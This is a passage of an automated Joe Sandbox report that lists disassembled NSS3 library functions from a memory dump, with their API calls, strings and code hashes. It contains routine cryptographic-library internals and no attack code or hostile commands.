Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 14b488833664f9cf08aa6c64a9c399dcdad7008c43318d71176b523172164eb0
Instruction ID: 9d4778d51689965da7e591d651d7c7f70e1a37a8f0f23b6ad23d14cbdc17be30
Opcode Fuzzy Hash: 14b488833664f9cf08aa6c64a9c399dcdad7008c43318d71176b523172164eb0
Instruction Fuzzy Hash: C7418CB1E001816BEB119F589D40ABF3A75AF9635CF084124FC265B701E731D9AAC7E3

Function 6CA9DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA9DDDE

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CA9DDF5

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CA9DE34
PR_Now.NSS3 ref: 6CA9DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CA9DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA9DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CA9DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CA9DEF0
PR_smprintf.NSS3(6CBCAAF9,(NULL) (Validity Unknown)), ref: 6CA9DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA9DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA9DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA9DF33
free.MOZGLUE(00000000), ref: 6CA9DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA9DF4B
free.MOZGLUE(00000000), ref: 6CA9DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CA9DEFA
%s%s, xrefs: 6CA9DEEB
{???}, xrefs: 6CA9DE8B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 80cca8f1d82a1f5b6ca1e5427b01ca4532140f58cb9791b104fd87a46e0a98e4
Instruction ID: c274f68cf284597b9ebe8ea3e5c7ec2fdbc2b045376acaaa1665d41987b4a891
Opcode Fuzzy Hash: 80cca8f1d82a1f5b6ca1e5427b01ca4532140f58cb9791b104fd87a46e0a98e4
Instruction Fuzzy Hash: F651C7B1E101555BDB00DF659C42ABF7AF4EF95398F184028E819E7B00E731D995CBE2

Function 6CAD2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CAD2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CAD2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C,?,-00000001,00000000,?), ref: 6CAD2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C,?,-00000001,00000000), ref: 6CAD2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAD2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAD2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAD2EF8
PR_Unlock.NSS3(?), ref: 6CAD2F62
TlsGetValue.KERNEL32 ref: 6CAD2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAD2F9E
PR_Unlock.NSS3(?), ref: 6CAD2FCA
TlsGetValue.KERNEL32 ref: 6CAD301A
EnterCriticalSection.KERNEL32(?), ref: 6CAD302E
PR_Unlock.NSS3(?), ref: 6CAD3066
PR_SetError.NSS3(00000000,00000000), ref: 6CAD3085
PR_Unlock.NSS3(?), ref: 6CAD30EC
TlsGetValue.KERNEL32 ref: 6CAD310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAD3124
PR_Unlock.NSS3(?), ref: 6CAD314C

Part of subcall function 6CAB9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CAE379E,?,6CAB9568,00000000,?,6CAE379E,?,00000001,?), ref: 6CAB918D
Part of subcall function 6CAB9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CAE379E,?,6CAB9568,00000000,?,6CAE379E,?,00000001,?), ref: 6CAB91A0

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

PR_SetError.NSS3(00000000,00000000), ref: 6CAD316D

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 846c11f4d9d50d23caecbcbde56dc5efd84f89b83e27394d2b9f09f2b7debfa5
Instruction ID: 24fbefd7f7c4c1952ae44e07334e3345a69a980a10c9e4eae39a55528a2778fc
Opcode Fuzzy Hash: 846c11f4d9d50d23caecbcbde56dc5efd84f89b83e27394d2b9f09f2b7debfa5
Instruction Fuzzy Hash: DEF19DB5D012199FDF00DFA8E884B9DBBB4FF09318F094268E854A7711EB31E995CB91

Function 6CACAF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CACAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CACAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAF83

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CACAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CACAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CACAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CACAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CACB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CACB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CACB041

Strings

pParameter = 0x%p, xrefs: 6CACAFB9
ulDataLen = %d, xrefs: 6CACB00A
(CK_INVALID_HANDLE), xrefs: 6CACAF7C
ulParameterLen = 0x%p, xrefs: 6CACAFD4
pSignature = 0x%p, xrefs: 6CACB023
pData = 0x%p, xrefs: 6CACAFEF
C_SignMessage, xrefs: 6CACAF41
hSession = 0x%x, xrefs: 6CACAF5E, 6CACAF6E
pulSignatureLen = 0x%p, xrefs: 6CACB03C

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 6dc66069f6d7d46cf9315c6c6819e65c7de402897ca503de3a00a88de356e49d
Instruction ID: e07aa7a8b9e36ab14b1500124fa718eee5e9300cfc6b30b7e2915edde071cf58
Opcode Fuzzy Hash: 6dc66069f6d7d46cf9315c6c6819e65c7de402897ca503de3a00a88de356e49d
Instruction Fuzzy Hash: 0A41B379701184AFDB008F54FD88EDE7BB2EB4231DF484024E91967B11DB318999CBAB

Function 6CAB9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CAB9FBE

Part of subcall function 6CA92F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CA92F0A
Part of subcall function 6CA92F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA92F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CABA015

Part of subcall function 6CAD1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CAD563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CAD195C
Part of subcall function 6CAD1940: EnterCriticalSection.KERNEL32(?,?,6CAD563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CAAEAC5,00000001), ref: 6CAD1970
Part of subcall function 6CAD1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CAAEAC5,00000001,?,6CAACE9B,00000001,6CAAEAC5), ref: 6CAD19A0

PL_FreeArenaPool.NSS3(?), ref: 6CABA067
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CABA055

Part of subcall function 6CA14C70: TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
Part of subcall function 6CA14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
Part of subcall function 6CA14C70: PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABA07E
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CABA0B1
PL_FreeArenaPool.NSS3(?), ref: 6CABA0C7
PL_FinishArenaPool.NSS3(?), ref: 6CABA0CF
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CABA12E
PL_FreeArenaPool.NSS3(?), ref: 6CABA140
PL_FinishArenaPool.NSS3(?), ref: 6CABA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABA158
PL_FinishArenaPool.NSS3(?), ref: 6CABA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CABA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CABA1B2
free.MOZGLUE(00000000), ref: 6CABA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CABA1D6

Part of subcall function 6CAD55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CAAEAC5,00000001,?,6CAACE9B,00000001,6CAAEAC5,00000003,-00000004,00000000,?,6CAAEAC5), ref: 6CAD5627
Part of subcall function 6CAD55E0: PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0,?,?,?,?,?,?,?,?,?,?,6CAAEAC5,00000001,?,6CAACE9B), ref: 6CAD564F
Part of subcall function 6CAD55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAAEAC5,00000001), ref: 6CAD5661
Part of subcall function 6CAD55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAAEAC5), ref: 6CAD56AF

Strings

security, xrefs: 6CABA00F

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 4e549586156df29fbd0fe443565a625d42cc6812a7079840adfbc0d74f06df34
Instruction ID: 332c89174e9346203ba498d5407f44fcefc933584ac295ecbd18112280ec86d4
Opcode Fuzzy Hash: 4e549586156df29fbd0fe443565a625d42cc6812a7079840adfbc0d74f06df34
Instruction Fuzzy Hash: 3651D9B5D00205ABEB009BA4EE45BAE737DAF4570CF140124F919BBB41E771998DC7A2

Function 6CAD6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CAD6943
Part of subcall function 6CAD6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CAD6957
Part of subcall function 6CAD6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CAD6972
Part of subcall function 6CAD6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CAD6983
Part of subcall function 6CAD6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CAD69AA
Part of subcall function 6CAD6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CAD69BE
Part of subcall function 6CAD6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CAD69D2
Part of subcall function 6CAD6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CAD69DF
Part of subcall function 6CAD6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CAD6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAD6D8C
free.MOZGLUE(00000000), ref: 6CAD6DC5
free.MOZGLUE(?), ref: 6CAD6DD6
free.MOZGLUE(?), ref: 6CAD6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAD6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD6E72
free.MOZGLUE(?), ref: 6CAD6EA7
free.MOZGLUE(?), ref: 6CAD6EC4
free.MOZGLUE(?), ref: 6CAD6ED5
free.MOZGLUE(00000000), ref: 6CAD6EE3
free.MOZGLUE(?), ref: 6CAD6EF4
free.MOZGLUE(?), ref: 6CAD6F08
free.MOZGLUE(00000000), ref: 6CAD6F35
free.MOZGLUE(?), ref: 6CAD6F44
free.MOZGLUE(?), ref: 6CAD6F5B
free.MOZGLUE(00000000), ref: 6CAD6F65

Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAD781D,00000000,6CACBE2C,?,6CAD6B1D,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C40
Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?), ref: 6CAD6C58
Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C6F
Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAD6C84
Part of subcall function 6CAD6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAD6C96
Part of subcall function 6CAD6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAD6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CAD6FF4

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 15db761ab09c5aad81d7a0456256d285ae0a61f1eb838d874b59cafeb2152cfe
Instruction ID: cd2d041f74d232a77d3f572bf865650c8150c02d739e88bbb902c9d29c3ed544
Opcode Fuzzy Hash: 15db761ab09c5aad81d7a0456256d285ae0a61f1eb838d874b59cafeb2152cfe
Instruction Fuzzy Hash: ADB160B0E0121A9FDF00CFA5D844B9EBBB4AF09748F1A0925E815E7701EB31F994CB61

Function 6CAD4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAD4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CAD4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4DB7

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

TlsGetValue.KERNEL32 ref: 6CAD4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CAD4DEC
PR_Unlock.NSS3(?), ref: 6CAD4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CAD4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CAD4E71
free.MOZGLUE(00000000), ref: 6CAD4E7A
PR_Unlock.NSS3(?), ref: 6CAD4EA2
TlsGetValue.KERNEL32 ref: 6CAD4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CAD4ED6
PR_Unlock.NSS3(?), ref: 6CAD4F01
free.MOZGLUE(00000000), ref: 6CAD4F2A

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 600bba5d181b268f0ca71ecd1393335ef2d7e50fcd1c2f6b891f2a1f13b74b7f
Instruction ID: 81e94afeb7b10dafa99526643b5f5091c1c0be4feaf9f905a21ea51a21f2eb9f
Opcode Fuzzy Hash: 600bba5d181b268f0ca71ecd1393335ef2d7e50fcd1c2f6b891f2a1f13b74b7f
Instruction Fuzzy Hash: 6DB1C175A00206AFDB01EF68E885BAE77B4BF09318F094124ED1597B51EB34F9A4CBD1

Function 6CADFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CADFFB4

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CADFFC6

Part of subcall function 6CB598D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CB59946
Part of subcall function 6CB598D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA116B7,00000000), ref: 6CB5994E
Part of subcall function 6CB598D0: free.MOZGLUE(00000000), ref: 6CB5995E

PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CADFFD6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CADFFE6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CADFFF6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0006
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0016
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0026
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0036
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0046
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0056
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0066
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0076
